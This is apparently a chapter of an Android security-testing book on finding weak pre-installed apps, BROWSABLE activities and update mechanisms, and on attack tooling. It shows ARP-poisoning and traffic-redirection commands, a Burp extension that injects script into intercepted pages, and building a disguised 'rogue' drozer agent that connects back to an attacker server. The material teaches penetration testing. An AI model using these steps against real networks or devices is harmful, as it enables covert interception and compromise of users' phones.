CHAPTER 8
Identifying and Exploiting Android Implementation Issues

With everything that you know about how Android applications can be assessed, it's time to explore how an attacker can use vulnerabilities in Android applications to gain access to Android devices. This chapter covers finding vulnerabilities in pre-installed applications on devices and exploiting them to gain access. Imparting this knowledge may come across as immoral to some, but a distinct gap in knowledge exists in this field. Attacking phones and tablets is a valid part of security testing that should be treated no differently than testing other technologies. The more you know about how to compromise such devices, the better chance you have to secure them. First, this chapter looks at ways to find vulnerabilities in devices.

Reviewing Pre-Installed Applications

Think of the Android OS as a set of applications working together to provide functionality for the user. Each installed application has its own attack surface that can be explored. To understand the risks of each installed application, you would have to reverse engineer them separately and use all techniques covered in Chapter 7.

However, there are surely more focused ways to find vulnerabilities that allow the compromise of a device without reviewing each application. The aim of this section is not to find vulnerabilities that provide root access when exploited. Too much emphasis is placed on gaining root access to a device. Often root access is not required to infiltrate user data. Rather, root access is just one way of achieving this. Giving a malicious application installed on a compromised device a large set of permissions will facilitate interesting post-exploitation tasks on a device without needing additional privileged access. Exploiting applications with powerful contexts on a device is a priority for a bug hunter in order to maximize return on the time investment. Finding these applications is explored next.

Finding Powerful Applications

Some applications on a device have a much higher degree of power over the OS than others. This power could come through the permissions granted to them or the Linux user that they run as. A good example of a powerful permission that can only be granted to pre-installed applications is INSTALL_PACKAGES. It has a protection level of signature|system and is defined by the android package. An application that holds this permission has the power to install a new package on the device. This means that it would be able to install a new package that requests an arbitrary set of permissions. Exploiting an application that holds this permission could allow an attacker to install a new package, perhaps a Trojan.

To find an application that holds INSTALL_PACKAGES in drozer, you can use the app.package.list module with custom permission search filters. Running this module on an emulator running Android 4.4 KitKat is shown here:

dz> run app.package.list -p android.permission.INSTALL_PACKAGES 
com.android.packageinstaller (Package installer) 
com.android.shell (Shell)

Running this same module on a Samsung Galaxy S4 running KitKat reveals the following packages holding this permission:

dz> run app.package.list -p android.permission.INSTALL_PACKAGES 
com.sec.kidsplat.installer (Kids Mode) 
com.sec.android.app.samsungapps (Samsung Apps) 
com.android.vending (Google Play Store) 
com.sec.everglades (Samsung Hub) 
com.android.shell (Shell) 
com.samsung.android.app.assistantmenu (Assistant menu) 
com.vodafone.vodafone360updates (Vodafone Updates) 
com.sec.knox.containeragent (KnoxMigrationAgent) 
com.sec.everglades.update (SamsungHub Updater) 
com.sec.android.omc (OM Customize) 
com.android.packageinstaller (Package installer) 
com.sec.enterprise.knox.cloudmdm.smdms (New enrolment) 
com.samsung.android.app.watchmanagerstub 
  (com.samsung.android.app.watchmanagerstub) 
com.sec.android.preloadinstaller (Application installer) 
com.osp.app.signin (Samsung account) 
com.sec.android.app.DataCreate (Automation Test) 
com.sec.knox.knoxsetupwizardclient (KNOX SetupWizardClient) 
com.sec.android.Kies (USB settings)

Notice how many applications on an actual device use this dangerous permission.

A pre-installed application can request a sharedUserId of android.uid.system in its manifest. This effectively sets its application UID to 1000 (system), which is a privileged context on a device. An application running as the system user is able to install new applications, access any application's data directory, and manipulate the device in many other ways. Essentially, the system user is only a single privilege level away from root. You can find applications that use the system UID from drozer using the app.package.list module with a filter for UID 1000. Doing so on the KitKat emulator looks like this:

dz> run app.package.list -u 1000 
com.android.inputdevices (Input Devices) 
android (Android System) 
com.android.settings (Settings) 
com.android.keychain (Key Chain) 
com.android.location.fused (Fused Location) 
com.android.providers.settings (Settings Storage)

Performing this same command on a Samsung Galaxy S4 running KitKat reveals the following:

dz> run app.package.list -u 1000 
com.sec.android.app.bluetoothtest (BluetoothTest) 
com.sec.factory (DeviceTest) 
com.sec.enterprise.mdm.services.sysscope (Enterprise SysScope Service) 
com.sec.factory.camera (Camera Test) 
com.samsung.pickuptutorial (PickupTutorial) 
com.sec.setdefaultlauncher (SetDefaultLauncher) 
com.android.settings (Settings) 
com.samsung.android.app.gestureservice (GestureService) 
com.sec.allsharecastplayer (Screen Mirroring) 
com.wssyncmldm (Software update) 
com.sec.android.app.FileShareClient (Wi-Fi Direct) 
com.android.providers.settings (Settings Storage) 
com.sec.android.fwupgrade (AllShare Cast Dongle S/W Update) 
com.sec.android.service.sm (SecurityManagerService) 
com.sec.bcservice (com.sec.bcservice) 
com.sec.android.app.popupuireceiver (PopupuiReceiver) 
com.android.inputdevices (Input Devices) 
com.sec.android.app.FileShareServer (Wi-Fi Direct share) 
com.sec.android.app.sysscope (SysScope) 
android (Android System) 
com.mobeam.barcodeService (Beaming Service) 
com.sec.android.app.servicemodeapp (Service mode) 
com.sec.android.app.mt (Mobile tracker) 
com.android.keychain (Key Chain) 
com.sec.android.app.nfctest (NFC Test) 
com.qualcomm.cabl (Content Adaptive Backlight Settings) 
com.sec.usbsettings (USBSettings) 
com.samsung.android.app.assistantmenu (Assistant menu) 
com.sec.android.app.wfdbroker (com.sec.android.app.wfdbroker) 
com.coolots.chaton (ChatON Voice & Video Chat) 
com.sec.android.app.parser (Factory Mode) 
com.sec.android.inputmethod (Samsung keyboard) 
com.dsi.ant.server (ANT HAL Service) 
com.samsung.SMT (Samsung text-to-speech engine) 
com.sec.knox.containeragent (KnoxMigrationAgent) 
com.sec.android.easysettings (Easy settings) 
com.samsung.android.app.filterinstaller (Filter Installer) 
com.sec.android.omc (OM Customize) 
com.sec.android.app.SecSetupWizard (Samsung SetupWizard) 
com.sec.enterprise.mdm.services.simpin (Enterprise Sim Pin Service) 
com.sec.android.providers.security (Security Storage) 
com.sec.android.app.factorykeystring (DeviceKeystring) 
com.sec.android.app.hwmoduletest (HwModuleTest) 
com.sec.automation (TetheringAutomation) 
com.sec.app.RilErrorNotifier (RilNotifier) 
com.sec.pcw.device (Remote Controls) 
com.samsung.helphub (Help) 
com.sec.android.app.wlantest (WlanTest) 
com.android.location.fused (Fused Location) 
com.wssnps (wssyncmlnps) 
com.sec.modem.settings (SilentLogging) 
com.policydm (??Security policy updates) 
com.sec.tcpdumpservice (TcpdumpService) 
com.sec.knox.bridge (KNOX) 
com.sec.android.preloadinstaller (Application installer) 
com.samsung.android.providers.context (Context Service) 
com.samsung.android.mdm (MDMApp) 
com.qualcomm.location (LocationServices) 
com.qualcomm.snapdragon.digitalpen (DigitalPenSDK) 
com.samsung.android.MtpApplication (MTP application) 
com.sec.android.app.personalization (Perso) 
com.samsung.android.app.colorblind (Colour adjustment) 
com.sec.knox.knoxsetupwizardclient (KNOX SetupWizardClient) 
com.sec.dsm.system (DSMLawmo) 
com.sec.android.Kies (USB settings) 
com.sec.knox.seandroid (Knox Notification Manager)

A staggering 66 applications run as the system UID. Performing this test on any device where a manufacturer has added a substantial set of its own applications will yield similar results. If any application running as the system user contains a vulnerability, the security of the device would be severely crippled. Running applications as the system user not only contradicts the “one application equals one user” model but also affords most applications more power than they need. Generally only applications that need to be able to make significant changes not directly supported by standard permissions or filesystem capabilities should be granted this access.

This section presented two examples of ways that applications can be considered powerful. However, the concept of power is relative to the task you are trying to achieve. If your goal is to steal data from an application and exploiting something on a device allows access to this data, this may also be seen as powerful. Searching for powerful applications is only one way to prioritize the review of applications. Another way could be to check all application certificates and prioritize the review of applications that are not made by Google. This is using the assumption that third-party applications are of lower code quality than Google applications. There could also be multiple other ways to prioritize the review of applications and this comes down to which approach you think will yield the best results on the particular device.

Finding Remote Attack Vectors

This section explores some ways to remotely compromise an Android device by exploiting an application. This section does not discuss the use of malware downloaded and installed by the user as an attack vector because this is fairly obvious. When you consider computer systems in general, multiple attack vectors can allow you to gain access to a system remotely. However, these vulnerabilities can be classed into two high-level categories: server-side exploitation and client-side exploitation.

Server-side exploitation is when someone gains access to a computer through a listening service on that host, which can mean anything from a web server to an auxiliary piece of software that listens on a port. The point here is that an attacker can initiate the connection with the listening service.

Client-side exploitation is exploiting a piece of software installed on a host, which generally requires a degree of user interaction. Browsers, document readers, and email clients are vulnerable to this type of attack. Android devices contain many installed applications that could be vulnerable to this attack vector.

Browsers and Document Readers

Most client-side exploitation occurs through vulnerabilities in web browsers or document readers. These attacks, which have been around for years, do not seem to be decreasing for the following reasons:

  • Browsers and document readers both have complex parsers that are normally implemented in native code.
  • They are both used in everyday computing.
  • They both contain dynamic scripting environments inside them.

Professional bug hunters build software fuzzers that target popular web browsers and document readers to find exploitable vulnerabilities in them, and Android applications are not an exception.

Some Android devices come with document readers and other authoring applications installed by default. These can be found by observation or by looking for relevant activity intent filters for common document types. For instance, on a Samsung device the following application is available by default to read PDF documents:

dz> run app.activity.forintent --action android.intent.action.VIEW 
--mimetype application/pdf 
Package: com.infraware.polarisviewer5 
  com.infraware.polarisoffice5.OfficeLauncherActivity 
 
dz> run app.package.info -a com.infraware.polarisviewer5 
Package: com.infraware.polarisviewer5 
  Application Label: POLARIS Office Viewer 5 
  Process Name: com.infraware.polarisviewer5 
  ...

The app.activity.forintent module in drozer was used to find all activities that have an intent filter for the MIME-type application/pdf. You can find applications that handle other file types in a similar fashion.

After you have discovered all browsers and document readers on a device, you can start trying to finding vulnerabilities in them. Often the parsers for these types of applications are written in native code for speed optimization. This means that you would need to understand how to fuzz or reverse engineer native code to find vulnerabilities, and these topics are outside the scope of this book. Any other application that uses native code that takes untrusted input from a remote source would be classed in the same attack vector.

BROWSABLE Activities

Activities declared in the manifest can have an intent filter that allows it to be invoked from a web browser. This is done by specifying a category of android .intent.category.BROWSABLE. This intent filter is normally used by applications to allow users to open appropriate content inside an installed application rather than in the browser. App stores installed on the device use this functionality to automatically invoke the store from a web page and allow the user to install an application.

The following is an example of an intent filter within the manifest of a rogue drozer agent's (discussed later) that allows an activity to be invoked from a browser:

<activity 
    android:name="com.mwr.dz.PwnActivity"> 
    <intent-filter> 
        <action android:name="android.intent.action.VIEW" /> 
        <category android:name="android.intent.category.DEFAULT" /> 
        <category android:name="android.intent.category.BROWSABLE" /> 
        <data android:scheme="pwn" /> 
    </intent-filter> 
</activity>

This manifest declaration shows that any web browser that tries to load a URI starting with pwn:// will open this activity. In the past you could start an application with a BROWSABLE activity by loading an iframe that loads from the custom scheme. However, launching via an iframe is no longer possible in versions of Chromium including 25 and later, and so the URI needs to be visited directly by the user or by redirecting through JavaScript. It now requires invocation that directs the user to the exact resource. If this resource does not exist on the device, the web page will no longer stay functioning because the browser will throw an invalid URI error. The later section “BROWSABLE URI Injection” covers the exploitation of BROWSABLE activities.

BROWSABLE activities can also be invoked by making use of an experimental specification supported by Chrome called web intents. These allow the invocation of BROWSABLE activities in a structured and more useful manner. This access is achieved through a URI starting with intent:// that supports the use of more attributes of an Intent object as well as extras. The two ways to invoke the drozer activity are using its defined scheme directly and using a web intent:

<a href="pwn://me">Start drozer - technique 1<a> 
 
<a href="intent://me/#Intent;scheme=pwn;end">Start 
Drozer - technique 2</a>

To find more information about the web intents project and the available parameters go to https://developer.chrome.com/multidevice/android/intents. The implementation of web intents was attacked at Mobile Pwn2Own 2013 (see http://www.pwn2own.com/2013/11/local-japanese-team-exploits-mobile-applications-install-malware-samsung-galaxy-s4/). The same team that performed this exploit created an interesting analysis of the implementation of web intents in different browsers at http://www.mbsd.jp/Whitepaper/IntentScheme.pdf. Some browsers, such as Chrome, limit the invocation of activities to only ones that are BROWSABLE and do not allow the component to be explicitly set. However, other browsers do not enforce this and any activity can be opened with the given intent. You can read about a technique involving intent selectors to bypass even this restriction in Chrome at http://developer .android.com/reference/android/content/Intent.html#setSelector(android .content.Intent). This opens a huge attack vector for finding activities that perform tasks automatically in their onCreate() method using the supplied bundle. Assuming that all browsers fix the ability to invoke arbitrary activities and only allow BROWSABLE activities, a significant attack vectors still exists.

A drozer module at scanner.activity.browsable is available to find all BROWSABLE activities on a device. Running it on a Samsung Galaxy S5 reveals the following snipped output:

dz> run scanner.activity.browsable 
... 
Package: com.sec.android.app.shealth 
  Invocable URIs: 
    shealth:// 
    com.sec.android.app.shealth.sleepmonitor://main 
  Classes: 
    com.sec.android.app.shealth.SplashScreenActivity 
    com.sec.android.app.shealth.sleepmonitor.SleepMonitorActivity_Base 
... 
Package: com.vodafone.cloud 
  Invocable URIs: 
    intent:// 
    http://vodafone.com/cloud (PATTERN_LITERAL) 
  Classes: 
    com.newbay.syncdrive.android.ui.gui.activities.SplashLogoActivity 
 
Package: com.sec.android.cloudagent 
  Invocable URIs: 
    db-qp95n66cz21kx96:// 
  Classes: 
    com.dropbox.client2.android.AuthActivity 
 
Package: com.sec.android.app.voicenote 
  Invocable URIs: 
    sherif-activity://nuanceinfo 
  Classes: 
    com.sec.android.app.voicenote.library.subactivity 
    .VNPolicyInfoActivity 
... 
 
Package: com.samsung.groupcast 
  Invocable URIs: 
    groupplay:// 
    http://gp.samsung.com 
    https://gp.samsung.com 
  Classes: 
    com.samsung.groupcast.application.start.StartActivity 
 
... 
 
Package: com.sec.enterprise.knox.cloudmdm.smdms 
  Invocable URIs: 
    smdm:// 
  Classes: 
    .ui.LaunchActivity 
 
... 
 
Package: com.osp.app.signin 
  Invocable URIs: 
    samsungaccount://MainPage 
  Classes: 
    .AccountView 
 
Package: com.sec.android.app.billing 
  Invocable URIs: 
    APKUPReadersHub:// 
    APKUPLearningHub:// 
    APKUPMediaHub:// 
    APKUPVideoHub:// 
    APKUPMusicHub:// 
    APKUPSamsungCloud:// 
    APKUPSamsungApps:// 
  Classes: 
    com.sec.android.app.billing.UnifiedPaymentPGActivity 
...

All the activities shown can be invoked from the web browser by an arbitrary website. This shows a clear set of possible attack vectors that someone looking to find vulnerabilities in this device could explore. In fact, later in this chapter in the section “BROWSABLE URI Injection” we explore a vulnerability in the activity that handles the smdm:// URI scheme.

Custom Update Mechanisms

Applications that hold the INSTALL_PACKAGES permission are immediately a high-value target and should be investigated. These applications often handle their own updates rather than doing so through the Play Store. The developers at device manufacturers may feel that it is a hassle for users to go to the Play Store or simply feel that custom update mechanisms are easier to manage from their side. Whatever the reasons, these applications can contain vulnerabilities that allow for the arbitrary installation of packages. Thoroughly investigate code that installs a new package to see whether an external entry point into this code exists that can be abused.

Often when these applications start, they check to see whether an update is available on some remote web server. If there is, the APK is downloaded and installed. The communication channel used for this download is a crucial aspect of security for this application. If it is downloading the new APK in clear text, or the SSL certificate is not properly validated, an attacker could perform a man-in-the-middle attack to replace this APK file in transit. It is unlikely that an attacker would target an individual on a wireless network and wait for him or her to open a vulnerable application. However, doing this at an airport or busy wireless hotspot on a larger scale may prove fruitful.

Remote Loading of Code

Android allows applications to load new code at runtime using the Java Reflection API. Loading entirely new classes or instantiating new objects and interacting with them is possible. This is the technique drozer uses for interactions between the console and the agent.

If application developers use these mechanisms, they should be aware of where they are loading new code from. Loading new code from remote sources over a channel that is not secured is a recipe for enabling remote code execution.

Usually, developers use the DexClassLoader class to load new code into their application. The constructor of this class looks like this:

DexClassLoader (String dexPath, String dexOutputDir, String libPath, 
ClassLoader parent)

Another problem that is considered a local vulnerability is loading classes specified by the dexPath from a location on the device that can be overwritten by other applications. Additionally, dexOutputDir is a location specified by the developer where the ODEX file must be placed. If this ODEX is replaced with a malicious version, then when the code is loaded again, the attacker's code will also be loaded. If another vector exists to replace ODEX files that are loaded by an application, and the application can be invoked (for example, through web intents from the web browser), then executing code remotely could be possible.

WebViews

Chapter 7 looked at issues that can affect WebViews and came to the conclusion that the worst mistake a developer can make is loading content over HTTP inside a WebView. The following combination is a recipe for disaster and would allow the application to be exploited for code execution on the device using CVE-2012-6636:

  • Using a WebView
  • Defining a JavaScript interface
  • Loading from a cleartext source or having SSL bypass code
  • Targeting API versions prior to 17 or using an Android version earlier than 4.2

This combination is the foundation of two of the attacks presented later in this chapter. A warning sign for a possibly exploitable chain of vulnerabilities on a device that is implementing a custom app store is when it makes use of a WebView. If at any point you are able to inject your own JavaScript into this WebView, you will likely be able to invoke the installation functionality and install an arbitrary package.

Listening Services

If you perform a port scan of an Android device, you are unlikely to find any listening ports. If you do, these would have to be mapped to the application that owns it in order to interrogate the section of code handling the networking. To find any listening TCP ports on a device that you have connected to your computer, perform the following command:

$ adb shell netstat -antp | grep LISTEN 

For instance, when you use the embedded server from within drozer, the output looks as follows:

$ adb shell netstat -antp | grep LISTEN 
tcp6       0      0 :::31415       :::*       LISTEN

Finding a listening port on a device is the least likely scenario, but a listening service may be invoked through another vulnerability. The creation of listening ports on the device also becomes more likely when the user uses functionality like Android Beam, S-Beam, Bluetooth, or any other Personal Area Network (PAN). When a PAN is initiated between two devices listening services are commonly started so communications can take place over the link. Messaging Applications Any application that handles data from external sources is a possible entry point for attack. The following are some examples of messaging functionality that could be prone to attack:

  • Short Message Service (SMS)
  • Multimedia Messaging Service (MMS)
  • Commercial Mobile Alert System (CMAS)
  • Email clients
  • Chat clients

Applications that handle incoming SMS, MMS, or CMAS could contain elements that are performed in native code (such as parsing of emoticons) or handled by a third-party application. Messages would have to be traced from their entry point in code through all possible routes in the code. This would likely be an unfruitful task. However, over the years people have found vulnerabilities in the oldest, most trusted code in existence. So vulnerabilities could still be uncovered in this functionality on Android.

Third-party email and chat clients would be more likely sources of vulnerabilities. Decompiling these applications and performing a full review on them as per Chapter 7 could yield many possible vulnerabilities in these applications. One attack vector that comes to mind is if an email or chat client were loading received messages in a WebView. This would certainly be interesting behavior and could mean that the application is prone to attack via a JavaScript injection or misconfigured attributes in the WebView.

Finding Local Vulnerabilities

Chapter 7 explored the many different types of vulnerabilities that can be present inside an Android application. Finding vulnerabilities in applications on a device is no different. However, to be time efficient a faster automated approach must be adopted instead of manual review.

A good first step is to download all installed applications on the device and convert them to readable source code. You can do this using the decompilation techniques discussed in Chapter 6 in the “Reverse Engineering Applications” section. You could then do simple searches using grep to identify some low-hanging fruit. What you determine as low-hanging fruit would differ according to your experience in assessing devices. However, prioritizing the search for vulnerabilities in a calculated way would be wise.

The scanner modules present in drozer can help you identify issues with very little effort. These modules are designed to be performed on a whole device's worth of applications at one time to look for a particular issue. For example, using the scanner.provider.injection module to look for SQL injection in all content providers on a Nexus 7 tablet reveals the following:

dz> run scanner.provider.injection 
Scanning com.android.backupconfirm... 
Scanning com.android.packageinstaller... 
Scanning com.android.providers.userdictionary... 
Scanning com.android.providers.downloads.ui... 
... 
 
Not Vulnerable: 
  content://com.android.gmail.ui/ 
  content://com.google.android.libraries.social.stream.content 
.StreamUris/activity_view/activity 
  content://subscribedfeeds/deleted_feeds 
... 
 
Injection in Projection: 
  content://settings/system/notification_sound 
  content://settings/system/ringtone 
  content://settings/gservices 
  content://settings/system/notification_sound/ 
  content://settings/gservices/ 
  content://com.google.settings/partner/ 
  content://settings/system/alarm_alert/ 
  content://com.google.settings/partner 
  content://settings/system/ringtone/ 
  content://settings/system/alarm_alert 
 
Injection in Selection: 
  content://com.android.bluetooth.opp/live_folders/received 
  content://settings/gservices 
  content://settings/gservices/ 
  content://com.google.settings/partner/ 
  content://com.google.settings/partner 
  content://com.android.bluetooth.opp/live_folders/received/

These injection points provide no significant advantage to an attacker but are enough to convey the scale of searches that a scanner module can perform to find vulnerabilities.

Exploiting Devices

It should be abundantly clear that many classes of vulnerabilities can be discovered and exploited on an Android device. Vulnerabilities can be classed into two generic classes: remote and local.

Typically, a remote exploit allows an attacker to gain a foothold on the target device. Access can occur through a multitude of attack vectors such as software exploits, man-in-the-middle attacks, or malware. Attacks can come from any of the inputs into a device, which is an ever-growing number of technologies. Standard wireless functionality on devices includes cellular services, Wi-Fi, NFC (Near Field Communication), and Bluetooth. These are all valid attack paths for an attacker to pursue for exploitation. A local exploit is one that requires a foothold on the device already. Exploits of this type could attempt to escalate the privileges of the malicious code or perform an action on an application that was not intended.

Using Attack Tools

This section discusses some attack tools that will be useful background knowledge for the rest of the chapter. These tools and their functionality will be the equivalent of a surgeon's scalpel for finding routes an attacker might take to compromise a device.

Ettercap

Ettercap is the de facto standard for performing man-in-the-middle attacks on a network. It includes tools for performing ARP poisoning, DNS spoofing, and many other techniques that allow you to control your victim's traffic on the same network. The project page is at http://ettercap.github.io/ettercap/. To install it from the repositories in Ubuntu you can use the following command:

$ sudo apt-get install ettercap-graphical

However, the repositories often lag behind the latest version. We recommend that you compile the latest version available on the project page from source. After downloading the tarball, install the required dependencies per the documentation. Then, untar the source directory and perform the compilation of Ettercap:

$ cd ettercap-0.8.1 
$ mkdir build 
$ cd build 
$ cmake .. 
-- The C compiler identification is GNU 4.8.2 
-- Check for working C compiler: /usr/bin/cc 
-- Check for working C compiler: /usr/bin/cc -- works 
-- Detecting C compiler ABI info 
-- Detecting C compiler ABI info - done 
-- Check if the system is big endian 
-- Searching 16 bit integer 
-- Looking for sys/types.h 
-- Looking for sys/types.h - found 
-- Looking for stdint.h 
... 
-- Looking for strndup - found 
-- Found LIBNET: /usr/lib/x86_64-linux-gnu/libnet.so 
-- Found PCRE: /usr/lib/x86_64-linux-gnu/libpcre.so 
-- Performing Test HAVE_MUTEX_RECURSIVE_NP 
-- Performing Test HAVE_MUTEX_RECURSIVE_NP - Success 
-- Found BISON: /usr/bin/bison (found version "3.0.2") 
-- Found FLEX: /usr/bin/flex (found version "2.5.35") 
-- Configuring done 
-- Generating done 
-- Build files have been written to: /home/tyrone/ettercap-0.8.1/build 
$ sudo make install 
...

A successful compilation and installation are all that is required to start performing man-in-the-middle attacks. Finding Android devices on a wireless network that you are connected to is not a simple task. They have no real identifiable attributes on a network that allow for easy fingerprinting. A best-effort approach would be to look out for MAC addresses that are associated with manufacturers that are known to make Android devices. This is still a sub-optimal approach though because not all Organizationally Unique Identifiers (OUIs) are recognized by nmap (see http://nmap.org/). Using a ping sweep with nmap will show a mapping of discovered MAC addresses and their manufacturers:

$ sudo nmap -sP 192.168.1.0/24 
 
Starting Nmap 6.40 ( http://nmap.org ) at 2014-11-08 16:52 SAST 
Nmap scan report for router (192.168.1.1) 
Host is up (0.0019s latency). 
MAC Address: D4:CA:6D:AE:F8:76 (Routerboard.com) 
... 
Nmap scan report for 192.168.1.100 
Host is up (-0.065s latency). 
MAC Address: 40:0E:85:56:62:C9 (Samsung Electro Mechanics co.) 
... 
Nmap scan report for 192.168.1.109 
Host is up (0.033s latency). 
MAC Address: 5C:0A:5B:53:AC:1F (Samsung Electro-mechanics CO.) 
... 
Nmap scan report for 192.168.1.117 
Host is up (-0.060s latency). 
MAC Address: 30:85:A9:60:D2:A1 (Asustek Computer) 
... 
Nmap done: 256 IP addresses (13 hosts up) scanned in 4.21 seconds

The network shown here has two Samsung devices and a Nexus 7 tablet that is made by Asus. You can use the following command on Ettercap to intercept the connection between the network gateway and the Nexus 7 tablet:

$ sudo ettercap -i wlan0 -Tq -M ARP:remote /192.168.1.1/ /192.168.1.117/ 
 
ettercap 0.8.1 copyright 2001-2014 Ettercap Development Team 
 
Listening on: 
  eth0 -> 80:FA:5B:07:23:B3 
       192.168.1.102/255.255.255.0 
       fe80::82fa:5bff:fe07:23b3/64 

SSL dissection needs a valid 'redir_command_on' script in the etter. 
conf file 
Privileges dropped to UID 0 GID 65534... 
 
  33 plug-ins 
  42 protocol dissectors 
  57 ports monitored 
19839 mac vendor fingerprint 
1766 tcp OS fingerprint 
2182 known services 
 
Scanning for merged targets (2 hosts)... 
 
* |==================================================>| 100.00 % 
 
1 hosts added to the hosts list... 
 
ARP poisoning victims: 
 
 GROUP 1 : 192.168.1.1 D4:CA:6D:AE:F8:76 
 
Starting Unified sniffing... 
 
 
Text only Interface activated... 
Hit 'h' for inline help

Following these steps allows you to ARP spoof between the gateway and the device at 192.168.1.117. Opening a packet sniffer such as Wireshark and capturing on “any” interface reveals all traffic, even that coming from your victim device. You can now manipulate any aspect of this device's traffic. Some useful plug-ins come pre-installed inside Ettercap, such as DNS spoofing. Being able to effectively manipulate another user on the same network's traffic is not only an essential skill for an Android hacker, but also for any competent network penetration tester.

Burp Suite

In addition to Burp Suite being the de facto web application testing tool, it is also a brilliant tool to use when performing a man-in-the-middle attack. After a successful traffic interception attack against a device we will be using it to proxy and view web traffic. If a device's traffic is already coming through your computer, you can set up routing rules to redirect traffic to a certain port through the Burp proxy.

Setting Up Burp for Network Interception

To set up interception of web traffic destined to port 80, perform the following:

  1. Open Burp and go to Proxy ➢ Options.
  2. Add a new proxy listener.
  3. In the Binding tab specify the port as 8080 and bind to all interfaces.
  4. In the Request handling tab, tick Support Invisible Proxying.
  5. In the Certificate tab select Generate CA-Signed per-host Certificates.

Burp is now set up correctly to transparently proxy traffic. Now use an iptables rule to redirect incoming traffic passing through the computer destined for port 80 to the Burp listener at port 8080. You can do this as follows:

$ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j 
REDIRECT --to-port 8080 

You are now proxying cleartext HTTP traffic from this device and viewing it in the HTTP history tab in Burp. Make sure that the interception button is off in Burp otherwise you will be blocking all web traffic from passing through Burp to the intended recipient. You can use the same command to send HTTPS traffic to Burp using --dport 443 instead of --dport 80. However, the user will receive certificate warnings when browsing HTTPS websites. SSL validation will also fail inside applications unless the developer has conveniently nullified these checks. In general, receiving certificate warnings causes the user to become more suspicious and may result in their disconnecting from the network.

Using Burp Extensions

Burp enables a hacker to see all web traffic coming from a device when performing a man-in-the-middle attack. Combining this with Burp custom extensions means that it is the perfect attack tool for manipulating web traffic to and from a server. Many of the attacks presented later in the section under “Man-in-the-Middle Exploits” rely on being able to inject new content into an application's HTTP stream. In preparation for this, we will create an example Burp extension that injects a JavaScript alert() into received HTML pages on the fly.

Burp must be set up correctly to be able to handle Python modules. The Extender tab in Burp under Options has a section called Python Environment. Using Python extensions in Burp requires the standalone Jython JAR to be specified. You can download it from http://www.jython.org/downloads.html. Remember to download the Standalone JAR version of Jython. After it is downloaded point Burp to the location of the JAR under the Python Environment section in Burp. Python extensions can be used within Burp. A basic module named inject.py that injects a JavaScript alert into the HTTP response is shown here with inline comments:

from burp import IBurpExtender, IHttpListener 
 
class BurpExtender(IBurpExtender, IHttpListener): 
 
    def registerExtenderCallbacks(self, callbacks): 
 
        # Make callbacks available to whole class 
        self._callbacks = callbacks 
 
        # Make helpers available to whole class 
        self._helpers = callbacks.getHelpers() 
 
        # Set name 
        callbacks.setExtensionName("Inject JavaScript Alert") 
 
        # Register HTTP listener 
        callbacks.registerHttpListener(self) 
 
        return 
 
    def processHttpMessage(self, toolFlag, messageIsRequest, 
    messageInfo): 
 
        # Only process responses 
        if not messageIsRequest: 
 
            # Get response 
            response = messageInfo.getResponse() 
            responseStr = self._callbacks.getHelpers() 
                          .bytesToString(response) 
            responseParsed = self._helpers.analyzeResponse(response) 
            body = responseStr[responseParsed.getBodyOffset():] 
            headers = responseParsed.getHeaders() 
 
            # Inject <script> into <head> 
            changedBody = body.replace("<head>", 
                          "<head><script>alert('w00t')</script>") 
            changedBodyBytes = self._callbacks.getHelpers() 
                               .stringToBytes(changedBody) 
            httpResponse = self._callbacks.getHelpers() 
                           .buildHttpMessage(headers, changedBodyBytes); 
 
            # Set the response if the body changed and alert 
            if body != changedBody: 
                messageInfo.setResponse(httpResponse) 
                self._callbacks.issueAlert("Injected JavaScript!")

You can load this module by going to the Extender tab and adding the module. Every time an alert is injected into the HTTP response, a log entry is added in the Alerts tab inside Burp. You are going to be making extensive use of Burp extensions, so tinkering with them to understand how they work would be best.

drozer

drozer offers features to help compromise devices remotely, through means of exploiting applications on the device or performing attacks that involve a degree of social engineering. drozer provides a framework for the sharing of exploits and reuse of high-quality payloads. It also allows the sharing of post-exploitation modules through a central online repository.

Up until now you've probably been running drozer in “direct mode” where you run the agent's embedded server and connect directly to the device. This agent also had a single permission: INTERNET. drozer supports another mode of operation dubbed “infrastructure mode.” In infrastructure mode, you run a drozer server either on your network or on the Internet that provides a rendezvous point for your consoles and agents and routes sessions between them. This mode of operation is most useful when you are deploying a payload onto a remote device that must connect back to your server.

Here are all the subcommands available when running drozer:

$ drozer 
usage: drozer [COMMAND] 
 
Run `drozer [COMMAND] --help` for more usage information. 
 
Commands: 
          console  start the drozer Console 
           module  manage drozer modules 
           server  start a drozer Server 
              ssl  manage drozer SSL key material 
          exploit  generate an exploit to deploy drozer 
            agent  create custom drozer Agents 
          payload  generate payloads to deploy drozer
Using the Server

You can start a drozer server by simply running the following:

$ drozer server start 
Starting drozer Server, listening on 0.0.0.0:31415

To change the default listening port you append --port <port> to the command. The drozer server is the central point of contact for any payload and so it has to be multi-faceted. It can speak many protocols depending on the code connecting to it; for instance:

  • drozerp—If a drozer agent connects then it uses drozer's custom binary protocol.
  • HTTP—If a web browser connects, it serves resources like a standard web server.
  • Bytestream—If a byte is sent at the beginning of a transmission, it streams a configurable resource in response.
  • Shell server—If an “S” is sent as the first byte, the connection is saved as a shell that the attacker can use.

The exploitation flow with drozer makes heavy use of this server—from hosting the resources required to successfully compromise a device, to catching all kinds of reverse connections after exploitation has been successful. The HTTP web server code inside the drozer server also has a host of other features like:

  • User-agent checking—This locks the response of a web resource to only matching user agents.
  • Configurable MIME-types—Web resources can be set with a certain MIME-type.
  • Custom server headers—Responses on web resources can include custom server headers.
  • Resource path wildcards—Use wildcards when specifying a resource path for maximum flexibility.
  • Resource path counters—This allows the exploitation payload to retrieve how many times a certain resource has been downloaded from the server.
Rogue Agents

Previous chapters have focused on using drozer as an assessment tool, which mostly required the agent to have minimal permissions. The requirements for an exploitation payload are a little different. Some of the main differences between a standard drozer agent and its darker rogue agent are as follows:

  • Rogue agents do not have a main activity. Therefore, there is no launcher icon for it.
  • Its application label is “sysplug-in” and not “drozer agent”. This is so that when it is installed it is not obvious what it is.
  • Rogue agents by default request many permissions. This is so that when it gets installed on a device it is able to perform post-exploitation without hindrance.

To build a rogue drozer agent that connects back to 192.168.1.112 on port 80, you can use the following command:

$ drozer agent build --rogue --server 192.168.1.112:80 
Done: /tmp/tmpgm4hq7/agent.apk

A rogue agent has to be invoked by the exploit that installed it. It does not have a launcher icon and so the user cannot invoke it. They can be invoked with one of the following methods depending on the device:

  • Starting the service at com.mwr.dz/.Agent
  • Starting the activity by viewing pwn:// in a browser
  • Sending a broadcast with an action of com.mwr.dz.PWN
